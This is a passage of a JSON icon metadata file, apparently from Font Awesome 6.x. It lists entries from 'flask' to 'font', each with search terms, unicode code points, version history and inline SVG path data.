        "path": "M32 0C49.7 0 64 14.3 64 32V48l69-17.2c38.1-9.5 78.3-5.1 113.5 12.5c46.3 23.2 100.8 23.2 147.1 0l9.6-4.8C423.8 28.1 448 43.1 448 66.1v36.1l-44.7 16.2c-42.8 15.6-90 13.9-131.6-4.6l-16.1-7.2c-20.3-9-41.8-14.7-63.6-16.9v32.2c17.4 2.1 34.4 6.7 50.6 13.9l16.1 7.2c49.2 21.9 105 23.8 155.6 5.4L448 136.3v62l-44.7 16.2c-42.8 15.6-90 13.9-131.6-4.6l-16.1-7.2c-40.2-17.9-85-22.5-128.1-13.3L64 203.1v32.7l70.2-15.1c36.4-7.8 74.3-3.9 108.4 11.3l16.1 7.2c49.2 21.9 105 23.8 155.6 5.4L448 232.3v62l-44.7 16.2c-42.8 15.6-90 13.9-131.6-4.6l-16.1-7.2c-40.2-17.9-85-22.5-128.1-13.3L64 299.1v32.7l70.2-15.1c36.4-7.8 74.3-3.9 108.4 11.3l16.1 7.2c49.2 21.9 105 23.8 155.6 5.4L448 328.3v33.5c0 13.3-8.3 25.3-20.8 30l-34.7 13c-46.2 17.3-97.6 14.6-141.7-7.4c-37.9-19-81.3-23.7-122.5-13.4L64 400v80c0 17.7-14.3 32-32 32s-32-14.3-32-32V416 345.5 312.8 249.5 216.8 153.5 120.8 64 32C0 14.3 14.3 0 32 0zm80 96A16 16 0 1 0 80 96a16 16 0 1 0 32 0zm32 0a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm-32 48a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm32 0a16 16 0 1 0 0-32 16 16 0 1 0 0 32z"
      }
    },
    "free": ["solid"]
  },
  "flask": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0c3"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "beaker",
        "chemicals",
        "experiment",
        "experimental",
        "labs",
        "liquid",
        "potion",
        "science",
        "vial"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0c3",
    "label": "Flask",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M288 0H160 128C110.3 0 96 14.3 96 32s14.3 32 32 32V196.8c0 11.8-3.3 23.5-9.5 33.5L10.3 406.2C3.6 417.2 0 429.7 0 442.6C0 480.9 31.1 512 69.4 512H378.6c38.3 0 69.4-31.1 69.4-69.4c0-12.8-3.6-25.4-10.3-36.4L329.5 230.4c-6.2-10.1-9.5-21.7-9.5-33.5V64c17.7 0 32-14.3 32-32s-14.3-32-32-32H288zM192 196.8V64h64V196.8c0 23.7 6.6 46.9 19 67.1L309.5 320h-171L173 263.9c12.4-20.2 19-43.4 19-67.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M288 0H160 128C110.3 0 96 14.3 96 32s14.3 32 32 32V196.8c0 11.8-3.3 23.5-9.5 33.5L10.3 406.2C3.6 417.2 0 429.7 0 442.6C0 480.9 31.1 512 69.4 512H378.6c38.3 0 69.4-31.1 69.4-69.4c0-12.8-3.6-25.4-10.3-36.4L329.5 230.4c-6.2-10.1-9.5-21.7-9.5-33.5V64c17.7 0 32-14.3 32-32s-14.3-32-32-32H288zM192 196.8V64h64V196.8c0 23.7 6.6 46.9 19 67.1L309.5 320h-171L173 263.9c12.4-20.2 19-43.4 19-67.1z"
      }
    },
    "free": ["solid"]
  },
  "flask-vial": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        " beaker",
        " chemicals",
        " experiment",
        " experimental",
        " labs",
        " liquid",
        " science",
        " vial",
        "ampule",
        "chemistry",
        "lab",
        "laboratory",
        "potion",
        "test",
        "test tube"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4f3",
    "label": "Flask Vial",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M175 389.4c-9.8 16-15 34.3-15 53.1c-10 3.5-20.8 5.5-32 5.5c-53 0-96-43-96-96V64C14.3 64 0 49.7 0 32S14.3 0 32 0H96h64 64c17.7 0 32 14.3 32 32s-14.3 32-32 32V309.9l-49 79.6zM96 64v96h64V64H96zM352 0H480h32c17.7 0 32 14.3 32 32s-14.3 32-32 32V214.9L629.7 406.2c6.7 10.9 10.3 23.5 10.3 36.4c0 38.3-31.1 69.4-69.4 69.4H261.4c-38.3 0-69.4-31.1-69.4-69.4c0-12.8 3.6-25.4 10.3-36.4L320 214.9V64c-17.7 0-32-14.3-32-32s14.3-32 32-32h32zm32 64V224c0 5.9-1.6 11.7-4.7 16.8L330.5 320h171l-48.8-79.2c-3.1-5-4.7-10.8-4.7-16.8V64H384z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M175 389.4c-9.8 16-15 34.3-15 53.1c-10 3.5-20.8 5.5-32 5.5c-53 0-96-43-96-96V64C14.3 64 0 49.7 0 32S14.3 0 32 0H96h64 64c17.7 0 32 14.3 32 32s-14.3 32-32 32V309.9l-49 79.6zM96 64v96h64V64H96zM352 0H480h32c17.7 0 32 14.3 32 32s-14.3 32-32 32V214.9L629.7 406.2c6.7 10.9 10.3 23.5 10.3 36.4c0 38.3-31.1 69.4-69.4 69.4H261.4c-38.3 0-69.4-31.1-69.4-69.4c0-12.8 3.6-25.4 10.3-36.4L320 214.9V64c-17.7 0-32-14.3-32-32s14.3-32 32-32h32zm32 64V224c0 5.9-1.6 11.7-4.7 16.8L330.5 320h171l-48.8-79.2c-3.1-5-4.7-10.8-4.7-16.8V64H384z"
      }
    },
    "free": ["solid"]
  },
  "flickr": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f16e",
    "label": "Flickr",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM144.5 319c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5zm159 0c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM144.5 319c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5zm159 0c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5z"
      }
    },
    "free": ["brands"]
  },
  "flipboard": {
    "changes": ["5.0.5", "5.0.9"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f44d",
    "label": "Flipboard",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v448h448V32H0zm358.4 179.2h-89.6v89.6h-89.6v89.6H89.6V121.6h268.8v89.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32v448h448V32H0zm358.4 179.2h-89.6v89.6h-89.6v89.6H89.6V121.6h268.8v89.6z"
      }
    },
    "free": ["brands"]
  },
  "floppy-disk": {
    "aliases": {
      "names": ["save"],
      "unicodes": {
        "composite": ["1f4be", "1f5aa"],
        "secondary": ["10f0c7"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Hard Shell Floppy Disk",
        "computer",
        "disk",
        "download",
        "floppy",
        "floppy disk",
        "floppy-o"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0c7",
    "label": "Floppy Disk",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V173.3c0-17-6.7-33.3-18.7-45.3L352 50.7C340 38.7 323.7 32 306.7 32H64zm0 96c0-17.7 14.3-32 32-32H288c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V128zM224 288a64 64 0 1 1 0 128 64 64 0 1 1 0-128z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V173.3c0-17-6.7-33.3-18.7-45.3L352 50.7C340 38.7 323.7 32 306.7 32H64zm0 96c0-17.7 14.3-32 32-32H288c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V128zM224 288a64 64 0 1 1 0 128 64 64 0 1 1 0-128z"
      },
      "regular": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M48 96V416c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V170.5c0-4.2-1.7-8.3-4.7-11.3l33.9-33.9c12 12 18.7 28.3 18.7 45.3V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H309.5c17 0 33.3 6.7 45.3 18.7l74.5 74.5-33.9 33.9L320.8 84.7c-.3-.3-.5-.5-.8-.8V184c0 13.3-10.7 24-24 24H104c-13.3 0-24-10.7-24-24V80H64c-8.8 0-16 7.2-16 16zm80-16v80H272V80H128zm32 240a64 64 0 1 1 128 0 64 64 0 1 1 -128 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M48 96V416c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V170.5c0-4.2-1.7-8.3-4.7-11.3l33.9-33.9c12 12 18.7 28.3 18.7 45.3V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H309.5c17 0 33.3 6.7 45.3 18.7l74.5 74.5-33.9 33.9L320.8 84.7c-.3-.3-.5-.5-.8-.8V184c0 13.3-10.7 24-24 24H104c-13.3 0-24-10.7-24-24V80H64c-8.8 0-16 7.2-16 16zm80-16v80H272V80H128zm32 240a64 64 0 1 1 128 0 64 64 0 1 1 -128 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "florin-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["currency"]
    },
    "styles": ["solid"],
    "unicode": "e184",
    "label": "Florin Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M314.7 32c-38.8 0-73.7 23.3-88.6 59.1L170.7 224H64c-17.7 0-32 14.3-32 32s14.3 32 32 32h80L98.9 396.3c-5 11.9-16.6 19.7-29.5 19.7H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H69.3c38.8 0 73.7-23.3 88.6-59.1L213.3 288H320c17.7 0 32-14.3 32-32s-14.3-32-32-32H240l45.1-108.3c5-11.9 16.6-19.7 29.5-19.7H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H314.7z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M314.7 32c-38.8 0-73.7 23.3-88.6 59.1L170.7 224H64c-17.7 0-32 14.3-32 32s14.3 32 32 32h80L98.9 396.3c-5 11.9-16.6 19.7-29.5 19.7H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H69.3c38.8 0 73.7-23.3 88.6-59.1L213.3 288H320c17.7 0 32-14.3 32-32s-14.3-32-32-32H240l45.1-108.3c5-11.9 16.6-19.7 29.5-19.7H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H314.7z"
      }
    },
    "free": ["solid"]
  },
  "fly": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f417",
    "label": "Fly",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M197.8 427.8c12.9 11.7 33.7 33.3 33.2 50.7 0 .8-.1 1.6-.1 2.5-1.8 19.8-18.8 31.1-39.1 31-25-.1-39.9-16.8-38.7-35.8 1-16.2 20.5-36.7 32.4-47.6 2.3-2.1 2.7-2.7 5.6-3.6 3.4 0 3.9.3 6.7 2.8zM331.9 67.3c-16.3-25.7-38.6-40.6-63.3-52.1C243.1 4.5 214-.2 192 0c-44.1 0-71.2 13.2-81.1 17.3C57.3 45.2 26.5 87.2 28 158.6c7.1 82.2 97 176 155.8 233.8 1.7 1.6 4.5 4.5 6.2 5.1l3.3.1c2.1-.7 1.8-.5 3.5-2.1 52.3-49.2 140.7-145.8 155.9-215.7 7-39.2 3.1-72.5-20.8-112.5zM186.8 351.9c-28-51.1-65.2-130.7-69.3-189-3.4-47.5 11.4-131.2 69.3-136.7v325.7zM328.7 180c-16.4 56.8-77.3 128-118.9 170.3C237.6 298.4 275 217 277 158.4c1.6-45.9-9.8-105.8-48-131.4 88.8 18.3 115.5 98.1 99.7 153z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M197.8 427.8c12.9 11.7 33.7 33.3 33.2 50.7 0 .8-.1 1.6-.1 2.5-1.8 19.8-18.8 31.1-39.1 31-25-.1-39.9-16.8-38.7-35.8 1-16.2 20.5-36.7 32.4-47.6 2.3-2.1 2.7-2.7 5.6-3.6 3.4 0 3.9.3 6.7 2.8zM331.9 67.3c-16.3-25.7-38.6-40.6-63.3-52.1C243.1 4.5 214-.2 192 0c-44.1 0-71.2 13.2-81.1 17.3C57.3 45.2 26.5 87.2 28 158.6c7.1 82.2 97 176 155.8 233.8 1.7 1.6 4.5 4.5 6.2 5.1l3.3.1c2.1-.7 1.8-.5 3.5-2.1 52.3-49.2 140.7-145.8 155.9-215.7 7-39.2 3.1-72.5-20.8-112.5zM186.8 351.9c-28-51.1-65.2-130.7-69.3-189-3.4-47.5 11.4-131.2 69.3-136.7v325.7zM328.7 180c-16.4 56.8-77.3 128-118.9 170.3C237.6 298.4 275 217 277 158.4c1.6-45.9-9.8-105.8-48-131.4 88.8 18.3 115.5 98.1 99.7 153z"
      }
    },
    "free": ["brands"]
  },
  "folder": {
    "aliases": {
      "names": ["folder-blank"],
      "unicodes": {
        "composite": ["1f4c1", "1f5bf", "f114"],
        "secondary": ["10f07b"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.3.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Folder",
        "archive",
        "directory",
        "document",
        "file",
        "file folder",
        "folder"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f07b",
    "label": "Folder",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 480H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H288c-10.1 0-19.6-4.7-25.6-12.8L243.2 57.6C231.1 41.5 212.1 32 192 32H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 480H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H288c-10.1 0-19.6-4.7-25.6-12.8L243.2 57.6C231.1 41.5 212.1 32 192 32H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64z"
      },
      "regular": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H196.1c19.1 0 37.4 7.6 50.9 21.1L289.9 96H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H448c8.8 0 16-7.2 16-16V160c0-8.8-7.2-16-16-16H286.6c-10.6 0-20.8-4.2-28.3-11.7L213.1 87c-4.5-4.5-10.6-7-17-7H64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H196.1c19.1 0 37.4 7.6 50.9 21.1L289.9 96H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H448c8.8 0 16-7.2 16-16V160c0-8.8-7.2-16-16-16H286.6c-10.6 0-20.8-4.2-28.3-11.7L213.1 87c-4.5-4.5-10.6-7-17-7H64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "folder-closed": {
    "changes": ["6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["file"]
    },
    "styles": ["solid", "regular"],
    "unicode": "e185",
    "label": "Folder Closed",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 480H64c-35.3 0-64-28.7-64-64V192H512V416c0 35.3-28.7 64-64 64zm64-320H0V96C0 60.7 28.7 32 64 32H192c20.1 0 39.1 9.5 51.2 25.6l19.2 25.6c6 8.1 15.5 12.8 25.6 12.8H448c35.3 0 64 28.7 64 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 480H64c-35.3 0-64-28.7-64-64V192H512V416c0 35.3-28.7 64-64 64zm64-320H0V96C0 60.7 28.7 32 64 32H192c20.1 0 39.1 9.5 51.2 25.6l19.2 25.6c6 8.1 15.5 12.8 25.6 12.8H448c35.3 0 64 28.7 64 64z"
      },
      "regular": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M251.7 127.6l0 0c10.5 10.5 24.7 16.4 39.6 16.4H448c8.8 0 16 7.2 16 16v32H48V96c0-8.8 7.2-16 16-16H197.5c4.2 0 8.3 1.7 11.3 4.7l33.9-33.9L208.8 84.7l42.9 42.9zM48 240H464V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V240zM285.7 93.7L242.7 50.7c-12-12-28.3-18.7-45.3-18.7H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H291.3c-2.1 0-4.2-.8-5.7-2.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M251.7 127.6l0 0c10.5 10.5 24.7 16.4 39.6 16.4H448c8.8 0 16 7.2 16 16v32H48V96c0-8.8 7.2-16 16-16H197.5c4.2 0 8.3 1.7 11.3 4.7l33.9-33.9L208.8 84.7l42.9 42.9zM48 240H464V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V240zM285.7 93.7L242.7 50.7c-12-12-28.3-18.7-45.3-18.7H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H291.3c-2.1 0-4.2-.8-5.7-2.3z"
      }
    },
    "free": ["regular", "solid"]
  },
  "folder-minus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f65d"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "archive",
        "delete",
        "directory",
        "document",
        "file",
        "negative",
        "remove"
      ]
    },
    "styles": ["solid"],
    "unicode": "f65d",
    "label": "Folder Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 480H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H192c20.1 0 39.1 9.5 51.2 25.6l19.2 25.6c6 8.1 15.5 12.8 25.6 12.8H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64zM184 272c-13.3 0-24 10.7-24 24s10.7 24 24 24H328c13.3 0 24-10.7 24-24s-10.7-24-24-24H184z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 480H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H192c20.1 0 39.1 9.5 51.2 25.6l19.2 25.6c6 8.1 15.5 12.8 25.6 12.8H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64zM184 272c-13.3 0-24 10.7-24 24s10.7 24 24 24H328c13.3 0 24-10.7 24-24s-10.7-24-24-24H184z"
      }
    },
    "free": ["solid"]
  },
  "folder-open": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4c2", "1f5c1", "f115"],
        "secondary": ["10f07c"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Open Folder",
        "archive",
        "directory",
        "document",
        "empty",
        "file",
        "folder",
        "new",
        "open",
        "open file folder"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f07c",
    "label": "Folder Open",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M88.7 223.8L0 375.8V96C0 60.7 28.7 32 64 32H181.5c17 0 33.3 6.7 45.3 18.7l26.5 26.5c12 12 28.3 18.7 45.3 18.7H416c35.3 0 64 28.7 64 64v32H144c-22.8 0-43.8 12.1-55.3 31.8zm27.6 16.1C122.1 230 132.6 224 144 224H544c11.5 0 22 6.1 27.7 16.1s5.7 22.2-.1 32.1l-112 192C453.9 474 443.4 480 432 480H32c-11.5 0-22-6.1-27.7-16.1s-5.7-22.2 .1-32.1l112-192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M88.7 223.8L0 375.8V96C0 60.7 28.7 32 64 32H181.5c17 0 33.3 6.7 45.3 18.7l26.5 26.5c12 12 28.3 18.7 45.3 18.7H416c35.3 0 64 28.7 64 64v32H144c-22.8 0-43.8 12.1-55.3 31.8zm27.6 16.1C122.1 230 132.6 224 144 224H544c11.5 0 22 6.1 27.7 16.1s5.7 22.2-.1 32.1l-112 192C453.9 474 443.4 480 432 480H32c-11.5 0-22-6.1-27.7-16.1s-5.7-22.2 .1-32.1l112-192z"
      },
      "regular": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M384 480h48c11.4 0 21.9-6 27.6-15.9l112-192c5.8-9.9 5.8-22.1 .1-32.1S555.5 224 544 224H144c-11.4 0-21.9 6-27.6 15.9L48 357.1V96c0-8.8 7.2-16 16-16H181.5c4.2 0 8.3 1.7 11.3 4.7l26.5 26.5c21 21 49.5 32.8 79.2 32.8H416c8.8 0 16 7.2 16 16v32h48V160c0-35.3-28.7-64-64-64H298.5c-17 0-33.3-6.7-45.3-18.7L226.7 50.7c-12-12-28.3-18.7-45.3-18.7H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H87.7 384z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M384 480h48c11.4 0 21.9-6 27.6-15.9l112-192c5.8-9.9 5.8-22.1 .1-32.1S555.5 224 544 224H144c-11.4 0-21.9 6-27.6 15.9L48 357.1V96c0-8.8 7.2-16 16-16H181.5c4.2 0 8.3 1.7 11.3 4.7l26.5 26.5c21 21 49.5 32.8 79.2 32.8H416c8.8 0 16 7.2 16 16v32h48V160c0-35.3-28.7-64-64-64H298.5c-17 0-33.3-6.7-45.3-18.7L226.7 50.7c-12-12-28.3-18.7-45.3-18.7H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H87.7 384z"
      }
    },
    "free": ["regular", "solid"]
  },
  "folder-plus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f65e"]
      }
    },
    "changes": [
      "5.3.0",
      "5.11.0",
      "5.12.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "add",
        "archive",
        "create",
        "directory",
        "document",
        "file",
        "new",
        "positive"
      ]
    },
    "styles": ["solid"],
    "unicode": "f65e",
    "label": "Folder Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H192c20.1 0 39.1 9.5 51.2 25.6l19.2 25.6c6 8.1 15.5 12.8 25.6 12.8H448c35.3 0 64 28.7 64 64V416zM232 376c0 13.3 10.7 24 24 24s24-10.7 24-24V312h64c13.3 0 24-10.7 24-24s-10.7-24-24-24H280V200c0-13.3-10.7-24-24-24s-24 10.7-24 24v64H168c-13.3 0-24 10.7-24 24s10.7 24 24 24h64v64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H192c20.1 0 39.1 9.5 51.2 25.6l19.2 25.6c6 8.1 15.5 12.8 25.6 12.8H448c35.3 0 64 28.7 64 64V416zM232 376c0 13.3 10.7 24 24 24s24-10.7 24-24V312h64c13.3 0 24-10.7 24-24s-10.7-24-24-24H280V200c0-13.3-10.7-24-24-24s-24 10.7-24 24v64H168c-13.3 0-24 10.7-24 24s10.7 24 24 24h64v64z"
      }
    },
    "free": ["solid"]
  },
  "folder-tree": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f802"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "archive",
        "directory",
        "document",
        "file",
        "search",
        "structure"
      ]
    },
    "styles": ["solid"],
    "unicode": "f802",
    "label": "Folder Tree",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 32C64 14.3 49.7 0 32 0S0 14.3 0 32v96V384c0 35.3 28.7 64 64 64H256V384H64V160H256V96H64V32zM288 192c0 17.7 14.3 32 32 32H544c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32H445.3c-8.5 0-16.6-3.4-22.6-9.4L409.4 9.4c-6-6-14.1-9.4-22.6-9.4H320c-17.7 0-32 14.3-32 32V192zm0 288c0 17.7 14.3 32 32 32H544c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32H445.3c-8.5 0-16.6-3.4-22.6-9.4l-13.3-13.3c-6-6-14.1-9.4-22.6-9.4H320c-17.7 0-32 14.3-32 32V480z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 32C64 14.3 49.7 0 32 0S0 14.3 0 32v96V384c0 35.3 28.7 64 64 64H256V384H64V160H256V96H64V32zM288 192c0 17.7 14.3 32 32 32H544c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32H445.3c-8.5 0-16.6-3.4-22.6-9.4L409.4 9.4c-6-6-14.1-9.4-22.6-9.4H320c-17.7 0-32 14.3-32 32V192zm0 288c0 17.7 14.3 32 32 32H544c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32H445.3c-8.5 0-16.6-3.4-22.6-9.4l-13.3-13.3c-6-6-14.1-9.4-22.6-9.4H320c-17.7 0-32 14.3-32 32V480z"
      }
    },
    "free": ["solid"]
  },
  "font": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f031"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
